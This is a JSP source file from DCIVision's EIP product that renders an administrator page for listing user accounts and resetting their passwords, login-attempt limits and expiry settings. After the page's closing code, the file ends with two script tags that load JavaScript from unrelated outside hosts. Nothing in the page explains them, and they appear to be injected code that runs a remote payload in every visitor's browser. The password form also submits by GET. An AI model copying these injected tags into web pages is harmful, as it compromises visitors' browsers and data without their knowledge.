<%
/*
 * @(#)ListUserRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListUserRecord.jsp

  This is a ListUserRecord page.  It shows the active users' record in EIP.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/11/2003
    @version            $Revision: 1.11.4.14 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listPasswordForm" scope="request" class="com.dcivision.setup.web.ListPasswordForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "passwordList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.full_name", "FULL_NAME"},
                            {"user.columnheader.login_name", "LOGIN_NAME"},
                            {"user.columnheader.user_group", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.user_role", GlobalConstant.NOT_AVAILABLE},
                            {"user.columnheader.email", "EMAIL"},
                            {"user.columnheader.status", "STATUS"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"user.label.full_name", "FULL_NAME"},
                            {"user.label.first_name", "FIRST_NAME"},
                            {"user.label.last_name", "LAST_NAME"},
                            {"user.label.email", "EMAIL"}
                          };
  String[][] STATUS_MAP  = { {"common.options.select_menu.all",""},
                             {"user.label.status_A", "A"},
                             {"user.label.status_I", "I"},
                             {"user.label.status_X", "X"}};

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   List listRole = (List) request.getAttribute(ListUserRecordAction.VAR_USER_ROLE_LIST);
   List listGroup = (List) request.getAttribute(ListUserRecordAction.VAR_USER_GROUP_LIST);

  /*
   *    Update Code Start
   *    Author          Jim.Zhou
   *    Date                2006/04/19
   *    Bug                 #5066
   */
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  boolean hasRight = permissionManager.hasAccessRight(SystemFunctionConstant.STP_PASSWORD,"E");
  /*
   *    Update Code End
   */
%>

<script language="javascript">
<!--
function changeStatus(){
  document.listPasswordForm.submit();
  return(false);
}

function opUpdate(){
  /*
   *    Update Code Start
   *    Author          Jim.Zhou
   *    Date                2006/04/19
   *    Bug                 5037
   */
  if (!CheckPassword(document.listPasswordForm.loginPwd)){
    document.listPasswordForm.loginPwd.value="";
    document.listPasswordForm.loginPwd2.value="";
    document.listPasswordForm.loginPwd.focus();
    return false;
  }
  /*
   *    Update Code End
   */


  var hasBasicSelectedID = false;
  for (var i = 0; i < document.listPasswordForm.elements.length ; i++)
  {
    if (document.listPasswordForm.elements[i].name == "basicSelectedID") {
      if (document.listPasswordForm.elements[i].checked) {
        hasBasicSelectedID = true;
        break;
      }
     }
  }
  if (!hasBasicSelectedID)
  {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return false;
  }

  if (!custValidate()) {
    return(false);
  }
  document.listPasswordForm.opMode.value="<%=SystemFunctionConstant.STP_PASSWORD%>";
  document.listPasswordForm.submit();
}
function opUpdateAll(){
  if (!custValidate()) {
    return(false);
  }
  document.listPasswordForm.opMode.value="STP_PASSWORD_ALL";
  document.listPasswordForm.submit();
}

function custValidate(){
  if (window.document.listPasswordForm.loginPwd.value != window.document.listPasswordForm.loginPwd2.value){
    alert("<%=MessageResourcesFactory.getMessage((java.util.Locale)request.getSession().getAttribute(org.apache.struts.Globals.LOCALE_KEY), UserErrorConstant.PASSWORD_NOT_MATCH)%>");
        return(false);
      }
  if (window.document.listPasswordForm.loginPwd.value.length<6) {
    alert("<bean:message key='setup.label.pwd_min_length'/>");
    window.document.listPasswordForm.loginPwd.focus();
    return(false);
  }
  var myReg = /^[\d]{1,}$/;
  if (window.document.listPasswordForm.maxAttempt.value.length>0){
    if (!myReg.test(window.document.listPasswordForm.maxAttempt.value)){
      alert("<bean:message key='errors.user.max_attempt_error'/>");
      return (false);
    }
  }
  if (window.document.listPasswordForm.pwdExpiryDay.value.length>0){
    if (!myReg.test(window.document.listPasswordForm.pwdExpiryDay.value)){
      alert("<bean:message key='errors.user.pwd_expiry_day_error'/>");
      return (false);
    }
  }

  if (window.document.listPasswordForm.maxAttempt.value.length>0 && (window.document.listPasswordForm.maxAttempt.value < 1 || window.document.listPasswordForm.maxAttempt.value > 999)){
    alert("<bean:message key='errors.login.maximum_attempt'/>");
    return (false);
  }
  if (window.document.listPasswordForm.pwdExpiryDay.value.length>0 && (window.document.listPasswordForm.pwdExpiryDay.value < 1 || window.document.listPasswordForm.pwdExpiryDay.value > 999)){
    alert("<bean:message key='errors.login.password_expiry_day'/>");
    return (false);
  }
  return (true);
}

function CheckPassword(obj){
  if(obj.value.indexOf(' ') > -1){
    alert("<bean:message key='errors.framework.password.character_error'/>");
    /*
     *  Update Code Start
     *  Author          Jim.Zhou
     *  Date                2006/04/19
     *  Bug                 #5037
     */
    return false;
    /*
     *  Update Code End
     */
  }
  return true;
}

function ListPasswordReset() {
  var lwForm = document.listPasswordForm;

  lwForm.maxAttempt.value = '';
  lwForm.pwdExpiryDay.value = '';
  lwForm.userRoleID.selectedIndex=0;
  lwForm.userGroupID.selectedIndex=0;
  lwForm.opMode.value='';
  return(OpListReset(lwForm));
}

-->
</script>
<%try{%>
<!-- Form Section Begin -->
<html:form action="/setup/ListPassword" method="GET" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="status"/>
<html:javascript formName='listPasswordForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<!--listContainer div Begin -->
<div id="formContainer">

<table width="100%">
  <!-- Section Header Begin-->
  <layout:sectionHeader name='user.label.search_user_account' mandatory='false'/>
  <!-- Section Header End-->
  
  <tr><td colspan="2">
  <!-- Search Panel listBar Begin -->
  <layout:listBar>
    <div class="button"></div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Search Panel listBar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/>
  </div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
        <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td class="filterPanelItem" nowrap>
      <bean:message key='user.columnheader.user_group'/>:
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property="userGroupID" onkeypress="onKeyPressHandler(event);">
        <html:options dbListName='userPublicGroupList'/>
      </html:select>
    </td>
   </tr>
   <tr>
    <td class="filterPanelItem" nowrap>
      <bean:message key='user.columnheader.user_role'/>:
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property="userRoleID" onkeypress="onKeyPressHandler(event);">
        <html:options dbListName='userRoleList'/>
      </html:select>
    </td>
   </tr>
  </table>
  </div>
  <div class="buttonContainer">
    <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listPasswordForm, '${listPasswordForm.sortAttribute}', '${listPasswordForm.sortOrder}'))"/>
    <html:standardButton label="common.label.remove_filter" onClick="return (ListPasswordReset())"/>
  </div>
  <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listPasswordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listPasswordForm.getSortAttribute()%>" sortOrder="<%=listPasswordForm.getSortOrder()%>" editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="userRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userRecord).getID()%>);">
    <td valign="top" align="center">
    <%if (((AbstractBaseObject)userRecord).getID().intValue()>0) {%>
      <logic:permission right='E'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='userRecord' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    <%} else {%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    <%}%>
    </td>
    <td valign="top" nowrap>
      <bean:write name='userRecord' property='fullName'/>
    </td>
    <td valign="top" nowrap><bean:write name='userRecord' property='loginName'/></td>
    <td valign="top"><%
      int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
      request.setAttribute("userGroupList", (List)listGroup.get(rowCount));%>
      <logic:iterate id="userGroup" name="userGroupList" scope="request">
        <nobr><html:img src='IconGroup.gif' align='absmiddle'/><bean:write name='userGroup' property='groupName'/></nobr><br>
      </logic:iterate>
    </td>
    <td valign="top"><%request.setAttribute("userRoleList", (List)listRole.get(rowCount));%>
      <logic:iterate id="userRole" name="userRoleList" scope="request">
        <nobr><html:img src='IconRole.gif' align='absmiddle'/><bean:write name='userRole' property='roleName'/></nobr><br>
      </logic:iterate>
    </td>
    <td valign="top"><% if (!Utility.isEmpty(((UserRecord)userRecord).getEmail())) { %><a href="mailto:<bean:write name='userRecord' property='email'/>"><% } %>
        <bean:write name='userRecord' property='email'/>
        <% if (!Utility.isEmpty(((UserRecord)userRecord).getEmail())) { %></a><% } %>
    </td>
    <td valign="top"><font color='<%=GlobalConstant.STATUS_ACTIVE.equals(((UserRecord)userRecord).getStatus())?"#0000FF":"#FF0000"%>'><bean:message key='<%="user.label.status_" + ((UserRecord)userRecord).getStatus()%>'/></font></td>
    <td valign="top" class="bodyVerySmall" nowrap><bean:write name='userRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td valign="top" class="bodyVerySmall"><bean:write name='userRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
</div>
  <!-- Record Looping End -->
<!-- Table Showing Record List End -->
  
<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listPasswordForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->



<!--login info start -->
<table width="100%">

  <!-- Section Header (Login Information) Begin-->
  <layout:sectionHeader name='user.label.login_info' mandatory='false'/>
  <!-- Section Header End-->
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.login_password'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if (hasRight) {%>
      <input type='password' name='loginPwd' tabindex="11" size='25' maxlength='20'>
    <%}else{%>
      <input type='password' name='loginPwd' tabindex="11" size='25' maxlength='20' disabled="disabled">
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.retype_password'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if (hasRight) {%>
      <input type='password' name='loginPwd2' tabindex="11" size='25' maxlength='20'>
    <%}else{%>
      <input type='password' name='loginPwd2' tabindex="11" size='25' maxlength='20' disabled="disabled">
    <%}%>
    </td>
  </tr>
  <tr>
    <td  class="formLabelSmall"><bean:message key='user.label.max_attempt'/>:&nbsp;</td>
    <td  class="formFieldSmall">
    <%if (hasRight) {%>
      <html:text property='maxAttempt' tabindex="12" size='25' maxlength='10'/>
    <%}else{%>
      <input type="text" name="maxAttempt" tabindex="12" size="25" maxlength="10" disabled="disabled" />
    <%}%>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='user.label.password_expiry_day'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <%if (hasRight) {%>
      <html:text property='pwdExpiryDay' tabindex="13" size='25' maxlength='10'/>
    <%}else{%>
      <input type="text" name="pwdExpiryDay" tabindex="13" size="25" maxlength="10" disabled="disabled" />
    <%}%>
    </td>
  </tr>
	<tr>
	<td class="formLabelSmall">
	<bean:message key="user.label.chang_password_sendMail"/>
	</td>
	<td class="disabledCheckbox">
	 <%if (hasRight) {%>
        <input type="checkbox" name="sendMail" value="true">
      <%} else {%>
        <input type="checkbox" name="sendMail" value="true" disabled="disabled" />
      <%}%>      
	</td></tr>
	<tr>
	<td></td>
	<td>
	<%
    int pwdLength = 0;
    List pwdList = (List)request.getAttribute(LIST_NAME);
    if (!Utility.isEmpty(pwdList)) {
      pwdLength = pwdList.size();
    }
    %>
   <div id="buttonSection">
      <html:permissionButton right="E" label="common.label.update" onClick="opUpdate();"/>
      <%if(pwdLength>0){%>
      <html:permissionButton right="E" label="setup.label.update_search_result" onClick="opUpdateAll();"/>
      <%}else{%>
      <html:standardButton label="setup.label.update_search_result" disable="true"/>
      <%}%>
   </div>
	</td>
	</tr>
</table>
<!--login info end-->
  </td><tr>

</table>
</div>
<!--listContainer div Begin -->

</html:form>
<!-- Form Section End -->
<%} catch(Exception ex){LogFactory.getLog(this.getClass()).error(ex, ex);}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>